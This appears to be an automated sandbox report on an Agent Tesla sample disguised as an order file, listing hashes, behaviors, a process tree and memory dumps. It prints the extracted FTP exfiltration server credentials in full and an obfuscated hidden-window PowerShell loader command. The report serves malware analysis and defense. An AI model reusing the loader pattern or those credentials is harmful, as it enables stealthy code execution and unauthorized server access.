Analysis

  • max time kernel
    145s
  • max time network
    132s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08-10-2024 09:23

General

  • Target

    ZAMOWIEN.EXE.exe

  • Size

    426KB

  • MD5

    76c9f492fb7a8f80ec783e727b9cd83d

  • SHA1

    d29380e856c2855296bfbdc14de2aef98bf90c3d

  • SHA256

    ac5ace4225e767aa30c1a5d950826c2545887e07027bdba89f653583ca65441d

  • SHA512

    927cec7b1d2a3414e58ff973aff0525cc79375e118449c9b3f62c0d02d82fe4c2e9d8a6ce446caf17ebc48674b377492be8845abcfaa7e597b3c32750783e393

  • SSDEEP

    6144:NqC56ALcmpQFbVySc2pXKJv4Bsn4z6XCWtB/DWfFcCrESnJCd6DRptmr1QHPVTgo:KA9WL5c2pXK+yn4K/uSoESnXl+ZQOE

Malware Config

Extracted

Credentials

  • Protocol:
    ftp
  • Host:
    ftp.rusticpensiune.ro
  • Port:
    21
  • Username:
    [email protected]
  • Password:
    99AM}+NZ&CCq!4Vq)9!(zXx01.lQ!~nS.fBnY,4Z~fjHnGo*B3Gd;B{Q1!%-Xw--%vn^0%nt

Extracted

Family

agenttesla

Credentials

  • Protocol:
    ftp
  • Host:
    ftp://ftp.rusticpensiune.ro
  • Port:
    21
  • Username:
    [email protected]
  • Password:
    99AM}+NZ&CCq!4Vq)9!(zXx01.lQ!~nS.fBnY,4Z~fjHnGo*B3Gd;B{Q1!%-Xw--%vn^0%nt

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Blocklisted process makes network request 4 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Drops file in Program Files directory 1 IoCs
  • Drops file in Windows directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 23 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ZAMOWIEN.EXE.exe
    "C:\Users\Admin\AppData\Local\Temp\ZAMOWIEN.EXE.exe"
    1⤵
    • Checks computer location settings
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3748
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden "$Nonprotraction=Get-Content -Raw 'C:\Users\Admin\AppData\Local\Temp\deciliteren\afstnings\Stenklver219.Int';$Helmuth=$Nonprotraction.SubString(747,3);.$Helmuth($Nonprotraction)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4208
      • C:\Windows\SysWOW64\msiexec.exe
        "C:\Windows\syswow64\msiexec.exe"
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1668

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_voghu2w4.kps.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\deciliteren\afstnings\Stenklver219.Int

    Filesize

    52KB

    MD5

    78082e39dd451e1d5043bcd0d5a72b8e

    SHA1

    ae870a41f8b0585cacd05d5c6651e83460092325

    SHA256

    2f554bddfe10ada0fc5106bced02c8fc45e910848688146287d3423ef094a58f

    SHA512

    8780e10971c1179d341e7f4bfd0089e9586cb05048a75196fbf1a09ec8f48f80ecce8e10b5e5546b311e48bf0c2b2a9e9c481050bfae184f8dfbd7eb5ee984e8

  • C:\Users\Admin\AppData\Local\Temp\deciliteren\afstnings\Undersecretariat.Dog

    Filesize

    352KB

    MD5

    8024394448ef7b341a0ecd0240d0d957

    SHA1

    03c82389ccd69a4973dc5920d35e402b6a52ef19

    SHA256

    65d4c0a99921a9507a334bbb0d4a4c9ca07bdb8bedd7a225c71cfe98ca60cb08

    SHA512

    793a9149d7f1887dd36e46a5f190697369d1bf5e3a66600d08d3941d0dad5db6b56211c16c73fdad9724838c7a6b83bfc5716905af2b4dc5de784cd5b1c883f0

  • memory/1668-72-0x0000000021380000-0x000000002138A000-memory.dmp

    Filesize

    40KB

  • memory/1668-71-0x0000000021400000-0x0000000021492000-memory.dmp

    Filesize

    584KB

  • memory/1668-70-0x0000000021140000-0x00000000211DC000-memory.dmp

    Filesize

    624KB

  • memory/1668-69-0x0000000021050000-0x00000000210A0000-memory.dmp

    Filesize

    320KB

  • memory/1668-68-0x0000000000FA0000-0x0000000000FE2000-memory.dmp

    Filesize

    264KB

  • memory/1668-67-0x0000000000FA0000-0x00000000021F4000-memory.dmp

    Filesize

    18.3MB

  • memory/4208-25-0x0000000006720000-0x000000000676C000-memory.dmp

    Filesize

    304KB

  • memory/4208-51-0x0000000008420000-0x0000000008444000-memory.dmp

    Filesize

    144KB

  • memory/4208-6-0x000000007475E000-0x000000007475F000-memory.dmp

    Filesize

    4KB

  • memory/4208-26-0x0000000007690000-0x0000000007726000-memory.dmp

    Filesize

    600KB

  • memory/4208-27-0x0000000006BF0000-0x0000000006C0A000-memory.dmp

    Filesize

    104KB

  • memory/4208-28-0x0000000006C40000-0x0000000006C62000-memory.dmp

    Filesize

    136KB

  • memory/4208-29-0x0000000007D30000-0x00000000082D4000-memory.dmp

    Filesize

    5.6MB

  • memory/4208-23-0x0000000006090000-0x00000000063E4000-memory.dmp

    Filesize

    3.3MB

  • memory/4208-31-0x0000000008960000-0x0000000008FDA000-memory.dmp

    Filesize

    6.5MB

  • memory/4208-32-0x0000000007B20000-0x0000000007B52000-memory.dmp

    Filesize

    200KB

  • memory/4208-33-0x0000000070570000-0x00000000705BC000-memory.dmp

    Filesize

    304KB

  • memory/4208-34-0x0000000074750000-0x0000000074F00000-memory.dmp

    Filesize

    7.7MB

  • memory/4208-35-0x0000000070990000-0x0000000070CE4000-memory.dmp

    Filesize

    3.3MB

  • memory/4208-45-0x0000000007B60000-0x0000000007B7E000-memory.dmp

    Filesize

    120KB

  • memory/4208-46-0x0000000007B90000-0x0000000007C33000-memory.dmp

    Filesize

    652KB

  • memory/4208-47-0x0000000074750000-0x0000000074F00000-memory.dmp

    Filesize

    7.7MB

  • memory/4208-49-0x0000000007C90000-0x0000000007C9A000-memory.dmp

    Filesize

    40KB

  • memory/4208-48-0x0000000074750000-0x0000000074F00000-memory.dmp

    Filesize

    7.7MB

  • memory/4208-50-0x0000000007CE0000-0x0000000007D0A000-memory.dmp

    Filesize

    168KB

  • memory/4208-24-0x00000000066E0000-0x00000000066FE000-memory.dmp

    Filesize

    120KB

  • memory/4208-52-0x0000000074750000-0x0000000074F00000-memory.dmp

    Filesize

    7.7MB

  • memory/4208-54-0x0000000074750000-0x0000000074F00000-memory.dmp

    Filesize

    7.7MB

  • memory/4208-53-0x000000007475E000-0x000000007475F000-memory.dmp

    Filesize

    4KB

  • memory/4208-55-0x0000000074750000-0x0000000074F00000-memory.dmp

    Filesize

    7.7MB

  • memory/4208-12-0x00000000058C0000-0x0000000005926000-memory.dmp

    Filesize

    408KB

  • memory/4208-57-0x0000000074750000-0x0000000074F00000-memory.dmp

    Filesize

    7.7MB

  • memory/4208-58-0x0000000074750000-0x0000000074F00000-memory.dmp

    Filesize

    7.7MB

  • memory/4208-59-0x0000000008FE0000-0x0000000009C03000-memory.dmp

    Filesize

    12.1MB

  • memory/4208-60-0x0000000074750000-0x0000000074F00000-memory.dmp

    Filesize

    7.7MB

  • memory/4208-61-0x0000000074750000-0x0000000074F00000-memory.dmp

    Filesize

    7.7MB

  • memory/4208-62-0x0000000074750000-0x0000000074F00000-memory.dmp

    Filesize

    7.7MB

  • memory/4208-63-0x0000000074750000-0x0000000074F00000-memory.dmp

    Filesize

    7.7MB

  • memory/4208-13-0x0000000005930000-0x0000000005996000-memory.dmp

    Filesize

    408KB

  • memory/4208-10-0x0000000074750000-0x0000000074F00000-memory.dmp

    Filesize

    7.7MB

  • memory/4208-11-0x0000000005820000-0x0000000005842000-memory.dmp

    Filesize

    136KB

  • memory/4208-9-0x0000000074750000-0x0000000074F00000-memory.dmp

    Filesize

    7.7MB

  • memory/4208-8-0x0000000005A20000-0x0000000006048000-memory.dmp

    Filesize

    6.2MB

  • memory/4208-7-0x00000000030F0000-0x0000000003126000-memory.dmp

    Filesize

    216KB